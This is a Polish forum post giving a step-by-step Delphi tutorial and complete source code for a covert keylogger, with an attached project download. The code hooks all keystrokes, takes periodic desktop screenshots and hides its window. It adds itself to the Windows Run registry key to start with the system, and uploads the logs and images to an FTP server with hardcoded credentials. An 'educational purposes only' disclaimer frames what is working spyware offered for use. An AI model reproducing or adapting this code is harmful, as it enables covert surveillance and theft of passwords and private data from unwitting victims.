Oto mój pierwszy ?Gotowiec? na tym forum
Cała treść tego artykułu została napisana tylko w celach edukacyjnych i nie biorę odpowiedzialności za jej używanie.
W Internecie znalazłem już wiele tematów ?Jak napisać keyloggera? ale wszystkie są przestarzałe i na wiele się już nie zdadzą pisane jeszcze pod Windows 98
W artykule skupimy się nad funkcjami keyloggera i nad jego sprawnym działaniem.
To zaczynajmy, najlepiej najpierw pomyśleć jak ma ?Wyglądać? nasz keylogger:
Potrzebne rzeczy:
- Program Delphi7
- komponent KeyspyXP
- komponenty Indy 9
- mózg
Komponenty pobieramy z:
http://www.krolnet.pl/component/option,com...nc,select/id,5/
Teraz nakładamy na formę:
- 1x Memo ? z zakładki ?Standart?
- 1x IdMessage - z zakładki "Indy Misc"
- 1x IdAntiFreeze - z zakładki "Indy Misc"
- 1x IdSMTP - z zakładki "Indy Clients"
- 1x idftp ? z zakładki ?Indy Clients?
- 1-3x Timer z zakładki ?System?
Przedstawię wam 2 możliwości podstawowej funkcji, jaką jest wyłapywanie klawiszy:
Możemy skorzystać z gotowego komponentu, jakim jest:
- KeyspyXP
Można go pobrać z:
http://www.krolnet.pl/component/option,com...nc,select/id,5/
lub:
- założyć globalnego hooka na klawiaturę
Oto kod:
var Hook:Integer; // należy to dodać do zmiennych globalnych... MessageBuffer:TEventMsg; function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall; begin case Code of HC_ACTION: begin MessageBuffer := PEventMsg(lParam)^; if MessageBuffer.message = wm_KeyDown then begin Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml); Result := 0; end; end; else begin Result := CallNextHookEx(Hook, Code, wParam, lParam); end; end; end; procedure TForm1.FormCreate(Sender: TObject); begin Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0); end; procedure TForm1.FormDestroy(Sender: TObject); begin UnHookWindowsHookEx(Hook); end;
Można znaleźć też inny rodzaj Hooka, ale to już pozostawiam wam ...
Teraz przydałoby się zapisanie logów do pliku, co jakiś czas?
Właściwość Interval Timera (W Object inspektorze) ustawiamy na ?60000?(czas w ms)
Oto procedura:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
with TStringList.Create do
begin
if FileExists('C:\logi.txt') then
LoadFromFile('C:\logi.txt')
else
begin
Memo1.Lines.SaveToFile('C:\logi.txt');
exit;
end;
text := text + Memo1.Lines.Text;
SaveToFile('C:\logi.txt');
Free();
sleep(1000);
memo1.Clear;
end;
end;Teraz zajmiemy się dodatkową funkcja, jaka jest tworzenie screenów (zrzutów ekranu).
Oto gotowa procedura:
procedure TForm1.Screen (Sender: TObject);
var
TJ : TJPEGIMAGE;
TB : TBITMAP; // Deklarujemy zmienne
TCa : Tcanvas;
begin
TCa := Tcanvas.Create;
TCa.Handle := getwindowDc(GetDesktopWindow); // Przejmujemy zrzut ekranu
try
TB := Tbitmap.create;
TB.Width := Screen.Width;
TB.Height := Screen.Height;
TB.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), TCa, Rect(0,0, screen.Width , screen.Height ));
TJ := TJPEG.Image.Create;
TJ.Assign(TB);
TJ.SaveToFile('C:\screen.jpg');
finally
TCa.Free;
TB.Free;
TJ.Free;
end;
end;Teraz rzecz ważna, jaką jest wysyłanie logów na maila:
Nie będę ingerował w gotowy kod wiec podam link do poprawnego rozwiązania:
http://4programmers....%C5%BCytkownika
Wysyłanie logów i screenów na ftp:
procedure TForm1.wyslijnaftp(Sender: TObject);
begin
IdFTP1.Username := ?admin@marek.cba.pl?; // login do konta ftp
IdFTP1.Password := ?marek123?; // hasło do konta ftp
IdFTP1.Host := ?ftp.cba.pl?; // serwer ftp
IdFTP1.Connect; // łączenie z ftp
try
if FileExists('C:\logi.txt') then // sprawdzamy czy plik istnieje...
begin
IdFTP1.Put('C:\logi.txt', 'logi.txt'); // Wysyłanie logów
End;
if FileExists('C:\screen.jpg') then // sprawdzamy czy plik istnieje...
begin
IdFTP1.Put('C:\ screen.jpg', 'screen.jpg'); // Wysyłanie screena
End;
finally
IdFTP1.Disconnect; //rozłaczenie z ftp
end;
end;Oczywiście całą procedure możemy wstawić w Timer, aby logi i screeny były wysyłane, co jakiś czas.
Konieczna rzecz to dodanie programu do rejestru, aby się uruchamiał wraz ze startem systemu:
Do sekcji uses dodajemy ?registry??
Do zmiennych globalnych dodajemy:
reg : TRegistry; zmienna: string; sp2 : string;
Po dodaniu kawałka kodu odpowiedzialnego za rejestr, ?Formcreate? powinno wyglądać tak:
procedure TForm1.FormCreate(Sender: TObject);
begin
application.showmainform:=false; // forma niewidoczna...
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
timer1.Enabled:= true;
timer2.Enabled:= true;
timer3.Enabled:= false;
try
Zmienna := 'C:\key.exe';
sp2 :='smss.exe';
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('key', 'C:\key.exe');
finally
reg.CloseKey;
end;Teraz wystarczy wstawić jeszcze 1 linijkę, aby forma nie była widoczna na pasku na dole ekranu, do procedury ?Formcreate? dodajemy:
application.showmainform:=false;
Cały kod programu mógłby wyglądać tak:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdAntiFreezeBase, IdAntiFreeze, IdMessageClient, IdSMTP,
IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdFTP,
ExtCtrls, StdCtrls, jpeg, registry;
type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
Timer2: TTimer;
Timer3: TTimer;
IdFTP1: TIdFTP;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Hook:Integer; // Zmienne globalne
MessageBuffer:TEventMsg;
reg : TRegistry;
zmienna: string;
sp2 : string;
implementation
{$R *.dfm}
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml);
Result := 0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
application.showmainform:=false; // forma niewidoczna...
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
timer1.Enabled:= true;
timer2.Enabled:= true;
timer3.Enabled:= false;
try
Zmienna := 'C:\key.exe';
sp2 :='smss.exe';
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('key', 'C:\key.exe');
finally
reg.CloseKey;
end;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
with TStringList.Create do
begin
if FileExists('C:\logi.txt') then
LoadFromFile('C:\logi.txt')
else
begin
Memo1.Lines.SaveToFile('C:\logi.txt'); // Procedura zapisujÄ…cÄ… logi co 1 min...
exit;
end;
text := text + Memo1.Lines.Text;
SaveToFile('C:\logi.txt');
Free();
sleep(1000);
memo1.Clear;
end;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
var
TJ : TJPEGIMAGE;
TB : TBITMAP; // Deklarujemy zmienne
TCa : Tcanvas;
begin
TCa := Tcanvas.Create;
TCa.Handle := getwindowDc(GetDesktopWindow); // Przejmujemy zrzut ekranu
try
TB := Tbitmap.create;
TB.Width := Screen.Width;
TB.Height := Screen.Height;
TB.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), TCa, Rect(0,0, screen.Width , screen.Height ));
TJ := TJpegImage.Create;
TJ.Assign(TB);
TJ.SaveToFile('C:\screen.jpg'); // zapisujemy zrzut na dysku
finally
TCa.Free;
TB.Free; // zwalniamy pamięć
TJ.Free;
timer3.Enabled:=true;
end;
end;
procedure TForm1.Timer3Timer(Sender: TObject);
begin
IdFTP1.Username := 'admin@marek.cba.pl'; // login do konta ftp
IdFTP1.Password := 'marek123'; // hasło do konta ftp
IdFTP1.Host := 'ftp.cba.pl'; // serwer ftp
IdFTP1.Connect; // łączenie z ftp
try
if FileExists('C:\logi.txt') then // sprawdzamy czy plik istnieje...
begin
IdFTP1.Put('C:\logi.txt', 'logi.txt'); // Wysyłanie logów
try
deletefile('C:\logi.txt'); // usuwanie pliku logów
finally
End;
end;
if FileExists('C:\screen.jpg') then // sprawdzamy czy plik istnieje...
begin
IdFTP1.Put('C:\screen.jpg', 'screen.jpg'); // Wysyłanie screena
try
deletefile('C:\screen.jpg'); // usuniecie pliku screena
finally
end;
End;
finally
IdFTP1.Disconnect; //rozłaczenie z ftp
timer3.Enabled:= false;
end;
end;
end.Screen formy tego keyloggera:
http://img413.images...rbykanarym2.jpg
Konfiguracja Timer?ów:
Timer1 Interval = 60000
Timer2 Interval = 900000
Timer3 Interval = 10000
KEYLOGGER stworzony tylko do celów edukacyjnych by KANAR ( KANAR123)...
Nie biorę na siebie odpowiedzialności za jego niepoprawne używanie...
Dla kompletnych leni cały projekt znajduje się w załączniku.
To mój pierwszy Gotowiec więc proszę o wyrozumiałość wszelkie problemy proszę pisać w tym temacie...
Dostosowałem ten art tak abyście skonstruowali swojego keyloggera osobiście, podąłem większość funkcji
Pozdro
Załączone pliki
-
KEYLOGGER_BY_KANAR_2008.zip (11,86 KB)
Ilość pobrań: 208

Logowanie
Rejestracja
Pomoc





Cytuj